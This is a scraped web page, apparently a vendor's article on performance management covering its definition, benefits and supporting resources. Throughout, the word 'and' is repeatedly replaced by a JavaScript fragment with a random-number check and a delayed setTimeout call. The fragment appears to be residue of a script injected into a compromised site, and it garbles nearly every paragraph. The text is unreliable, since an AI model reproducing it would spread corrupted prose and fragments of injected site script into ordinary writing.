office-336368_1920What is Performance Management ?

Performance management is a shared understandom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}anding about how individuals contribute to an organization’s goals.An effective performance management andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and appraisals process focuses on aligning your workforce, building competencies, improving employee performance andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and development, andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and driving better business results.

Benefits of an effective Performance management Process :

When employees see how their work contributes to organizational achievements, they’re more engaged andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and inspired in their work. Effective performance management also helps cultivate the organizational andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and job-specific competencies each employee andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and the organization need for high performance andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and success.

The bottom line: Performance management is an ongoing practice, not a once-a-year task. It ensures employees get the continual direction, feedback andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and development they need to improve andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and succeed. The success of your workforce, if aligned to your organizational goals, will drive business results.

Keys to Success :

In our Center of Excellence, you’ll find how-to articles, eBooks andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and webinars to help you implement a performance management process that will help your employees achieve their goals andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and develop the competencies they andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and your organization need for continued success. We also have forms andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and templates to help managers guide their employees, develop them andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and foster a culture of high performance.

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